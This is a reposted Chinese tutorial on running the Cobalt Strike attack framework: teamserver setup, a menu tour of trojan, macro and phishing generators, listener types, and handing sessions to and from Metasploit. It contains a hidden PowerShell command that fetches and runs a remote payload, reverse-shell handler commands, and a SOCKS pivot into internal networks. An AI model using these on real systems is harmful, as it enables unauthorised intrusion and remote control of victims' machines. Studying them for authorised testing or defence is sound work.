程序员开发实例大全宝库

网站首页 > 编程文章 正文

「黑客工具」Cobalt Strike的渗透测试应用

zazugpt 2024-08-24 02:28:39 编程文章 15 ℃ 0 评论

前言

Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。

钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等。

Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。

Cobalt Strike 作为一款协同APT工具,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。

安装

Cobalt Strike 分为客户端和服务端,可分布式操作、协同作战。但一定要架设在外网上,或者自己想要搭建的环境中,服务器端只能运行在Linux系统上。

服务端

服务端关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:

chmod 755 teamserver
./teamserver 192.168.40.129 test # 服务端 IP 和密码

客户端

客户端在Windows、Linux、Mac下都可以运行。(需要配置好JAVA环境)

输入服务端的IP以及端口、密码,用户名可以任意设置。

在控制台所有操作指令都会被记录保留在Cobalt Strike目录logs下。

参数详情

Cobalt Strike

New Connection #进行另外一个连接,支持连接多个服务器端
Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization #主要展示输出结果的形式
VPN Interfaces #设置VPN接口
Listenrs #创建一个Listener
Script Manager #脚本管理
Close #退出连接

View

Applications #显示受害者机器的应用信息
Credentials #凭证当通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads #下载文件
Event Log #主机上线记录以及团队协作聊天记录
Keystrokes #键盘记录
Proxy Pivots #代理模块
Screenshots #截图
Script Console #控制台,在这里可以加载各种脚本 
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets #显示目标
Web Log #Web访问记录

Attacks

Packages

HTML Application #生成恶意的HTA木马文件
MS Office Macro #生成office宏病毒文件
Payload Generator #生成各种语言版本的payload
USB/CD AutoPlay #生成利用自动播放运行的木马文件
Windows Dropper #捆绑器,能够对文档类进行捆绑
Windows Executable #生成可执行exe木马
Windows Executable(S) #生成无状态的可执行exe木马

Web Drive-by

Manage #对开启的web服务进行管理
Clone Site #克隆网站,可以记录受害者提交的数据
Host File #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery #类似于Metasploit的web_delivery 
Signed Applet Attack #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler #用来获取一些系统信息,比如

Reporting

activity report #活动报告
Hosts report #主机报告
Indicators of Compromise #目标报告
Sessions report #会话报告
Social engineering report #社会工程报告
Export data #数据出口

help

Homepage #官方主页
Support #技术支持
Arsenal #开发者
System information #版本信息
About #关于

基本运行

首先使用Cobalt Strike需要创建一个Listener,点击Cobalt Strike > Listeners,然后点击Add便可以创建自己想要的Listeners 了。Cobalt Strike 3.8 包括:

windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

其中windows/beacon是Cobalt Strike自带的模块,包括dns、http、https、smb四种方式的监听器,windows/foreign为外部监听器,即Metasploit或者Armitage的监听器。选择监听器以后,host会自动填写我们开启服务时的 ip,配置监听端口,然后保存,监听器就创建好了。

在创建好监听器,接下来就需要配置客户端了,Cobalt Strike提供了多种包括攻击方式,在这里我们使用Powershell进行攻击。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.40.129:80/a'))"

当目标机运行上面这条Powershell之后,Cobalt Strike客户端就会监听到反弹链接,现在可以看到已经有目标机上线了。

与Metasploit进行联动

Cobalt Strike → Metasploit

Cobalt Strike获得了一个上线机器,想把这个机器传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp #不要用x64的payload
set lhost 192.168.40.129
set lport 63
run -j

之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp的Listener。其中ip为Metasploit的ip地址,端口为Metasploit所监听的端口。

然后选中计算机,右键->Spawn:选择Metasploit的监听器:

这个时候可以看到,Metasploit上的监听已经上线,现在可以对meterpreter获得的session进行控制。

Metasploit → Cobalt Strike

现在已经获得了一个meterpreter的session,把session传给Cobalt Strike。

在Cobalt Strike中创建一个监听者,和上一步类似,这里host需要修改为Cobalt Strike客户端IP,创建好之后便监听121端口,等待着被控机连接。

接下来,把meterpreter获得的session转交给Cobalt Strike,在Metasploit执行以下命令:

meterpreter > background 
use exploit/windows/local/payload_inject 
set payload windows/meterpreter/reverse_http
set lhost 192.168.40.129
set lport 121
set DisablePayloadHandler true 
set session 1
run 

这里我解释一下这些参数。由于Cobalt Strike的监听器我们使用的是:

windows/beacon_http/reverse_http

所以我们的payload也要使用:

payload windows/meterpreter/reverse_http

设置本地监听ip和端口,由于监听器是Cobalt Strike的,所以要用到Cobalt Strike机器的ip和端口。

默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置:

set DisablePayloadHandler true

设置当前的session,执行。

此时目标机便已成功从Cobalt Strike上线,可以进行各种姿势的操作。

SOCKS 代理

根据上线的肉鸡,可以使用 SOCKS 代理;

配置 proxychains.conf,添加 socks4 127.0.0.1 32557,然后就可以通过 proxychains 使用各种工具做内网渗透了。

总结

这里只是简单描述Cobalt Strike的用法,其中还有很多使用技巧。在渗透过程中,不要仅限于单一模式的思路,根据实际的情况,选择更优的方法来进行下一步的渗透测试。大家可以搭建环境,了解更多的玩法和乐趣!欢迎看到您的分享。

转自:https://www.jianshu.com/p/8d823adbc6b5

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表